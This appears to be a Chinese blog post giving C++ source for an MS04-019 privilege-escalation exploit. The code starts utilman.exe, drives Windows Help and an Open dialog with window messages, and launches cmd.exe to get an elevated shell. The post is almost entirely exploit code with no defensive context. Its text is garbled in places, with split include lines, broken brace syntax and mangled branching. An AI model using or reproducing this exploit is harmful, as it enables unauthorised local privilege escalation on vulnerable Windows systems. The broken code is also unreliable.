Ms-0419 权限提升 C++的版本

//  ms0419.cpp : 定义应用程序的入口点。Powered by barenx
//

#include 
" stdafx.h "
#include 
" ms0419.h "
#include 
" math.h "
// #define MAX_LOADSTRING 100

//  全局变量:
// HINSTANCE hInst;                                 //  当前实例
// TCHAR szTitle[MAX_LOADSTRING];                     //  标题栏文本
// TCHAR szWindowClass[MAX_LOADSTRING];             //  主窗口类名

//  此代码模块中包含的函数的前向声明:
// ATOM                MyRegisterClass(HINSTANCE hInstance);
// BOOL                InitInstance(HINSTANCE, int);
// LRESULT CALLBACK    WndProc(HWND, UINT, WPARAM, LPARAM);
// LRESULT CALLBACK    About(HWND, UINT, WPARAM, LPARAM);
int  set_lang( void );
struct   {
 
int id;
 
char *utilman;
 
char *winhelp;
 
char *open;
}
 lang[]  =   {
    
0x0c,"Gestionnaire d'utilitaires","aide de Windows","Ouvrir" }/* French  */
    
0x09,"Utility manager","Windows Help","Open" },          /* English */
    
0x04,"辅助工具管理器","Windows 帮助","打开" }    /* Chinese */
}
;
int  APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     
int        nCmdShow)
{
    HWND lHandle, lHandle2;
    POINT point;
    
char cmd[]="%windir%/system32/cmd.ex?";
    unsigned 
int i;
    
int lang_id,j;
    
//test time run this bagin
        long needtime,needmin;
        needtime
=GetTickCount();
        
for(long tmp=0;tmp<=120000;tmp++)
        
{
            tmp
/=1;
            tmp
*=1;
            Sleep(
0);
            tmp
++;
            tmp
/=1;
            Sleep(
0);
            tmp
--;
            tmp
*=1;
            Sleep(
0);
            tmp
=(long)(pow(tmp,1));
            Sleep(
0);
        }
;
        needtime
=GetTickCount()-needtime;
        needmin
=(long)(needtime/3);
    
//test end
    lang_id=set_lang();
    
for(i=0;i<sizeof(lang)/sizeof(lang[0]);i++)    if(lang[i].id==lang_id)    break;
    
if(i==sizeof(lang)/sizeof(lang[0])) {return -1;}
    WinExec(
"utilman.exe /start",SW_HIDE);
    
for(j=0;j<13;j++)
    
{
        Sleep(needtime);
        lHandle
=FindWindow("#32770", lang[i].utilman);
        
if(lHandle!=0)break;
    }

    
if (!lHandle) return 0;
    PostMessage(lHandle,
0x313,0,0); //=right click on the app button in the
    Sleep(needmin);
    SendMessage(lHandle,
0x365,0,0x1); //send WM_COMMANDHELP  0x0365  lParam must be<>NULL 
    Sleep(needmin);
    PostMessage(lHandle, WM_QUIT, 
00);

    
for(j=0;j<7;j++)
    
{
        Sleep(needmin);
        lHandle
=FindWindow(NULL, lang[i].winhelp);    //find help dialog
        if(lHandle!=0)
        
{
            PostMessage(lHandle,WM_SHOWWINDOW,
false,SW_PARENTCLOSING);
            SendMessage (lHandle, WM_IME_KEYDOWN, VK_RETURN, 
0);
            
break;
        }

    }

    
if (!lHandle) return 0;
    
    
for(j=0;j<7;j++)
    
{
        Sleep(needmin);
        lHandle 
= FindWindow("#32770",lang[i].open);    //find open dialog
        if(lHandle!=0)
        
{
            PostMessage(lHandle,WM_SHOWWINDOW,
false,SW_PARENTCLOSING);
            Sleep(needmin);
            
break;
        }

    }

    
if (!lHandle) return 0;
    Sleep(needtime
+needtime);//+needmin
    lHandle2 = GetDlgItem(lHandle, 0x47C);
    
if (!lHandle2) return 0;
    
//Sleep(needmin);//+needmin
    SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)cmd);
    Sleep(needmin);
//+needmin
    SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);
    Sleep(needmin
+needtime);//+needtime
    lHandle2 = GetDlgItem(lHandle, 0x4A0);
    SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 
0);
    Sleep(needmin);

    lHandle2 
= FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
    lHandle2 
= GetDlgItem(lHandle2, 0x1);
    SendMessage (lHandle2, WM_IME_KEYDOWN, 
0x430); // send "c" char
    SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D0); // send "m" char
    SendMessage (lHandle2, WM_IME_KEYDOWN, 0x440); // send "d" char
    SendMessage(lHandle,WM_SHOWWINDOW,true,SW_OTHERUNZOOM);
    Sleep(needmin
+5);
    PostMessage (lHandle2, WM_CONTEXTMENU, 
00);
    Sleep(needmin
+needmin);
    point.x 
=10; point.y =30;
    lHandle2
=WindowFromPoint(point);
    PostMessage(lHandle,WM_SHOWWINDOW,
false,SW_PARENTCLOSING);
    SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 
0); // move down in menu
    SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
    SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return
    Sleep(needtime);
    SendMessage (lHandle, WM_CLOSE, 
00);    //find open dialog
    PostMessage (lHandle, WM_QUIT, 00);    //find open dialog
    PostMessage (FindWindow(NULL, lang[i].winhelp), WM_QUIT, 00);
    
return 0;
     
// TODO: 在此放置代码。
    
//MSG msg;
    
//HACCEL hAccelTable;

    
//// 初始化全局字符串
    //LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
    
//LoadString(hInstance, IDC_MS0419, szWindowClass, MAX_LOADSTRING);
    
//MyRegisterClass(hInstance);

    
//// 执行应用程序初始化:
    //if (!InitInstance (hInstance, nCmdShow)) 
    
//{
    
//    return FALSE;
    
//}

    
//hAccelTable = LoadAccelerators(hInstance, (LPCTSTR)IDC_MS0419);

    
//// 主消息循环:
    //while (GetMessage(&msg, NULL, 0, 0)) 
    
//{
    
//    if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)) 
    
//    {
    
//        TranslateMessage(&msg);
    
//        DispatchMessage(&msg);
    
//    }
    
//}

    
//return (int) msg.wParam;
}


inline 
int  set_lang( void )
{
    unsigned 
int lang_usr,lang_sys,id;

    id
=GetSystemDefaultLangID();
    lang_sys
=PRIMARYLANGID(id);
    id
=GetUserDefaultLangID();
    lang_usr
=PRIMARYLANGID(id);
    
if(lang_usr!=lang_sys) {
        
//printf("warning: user language differs from system language ");
        
//printf("1. system : ");print_lang(lang_sys);
        
//printf("2. user   : ");print_lang(lang_usr);printf("Select(1-2): ");
        
//id=getch();
    if(id!=49&&id!=50{
        
//printf("wrong choice '%c', leaving. ",id);
        exit(0);
        }

    
if(id==49{
        
//printf("system language ");
        return lang_sys;
        }

    
else;
        
//printf("user language ");
    }

    
return lang_usr;
}


 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值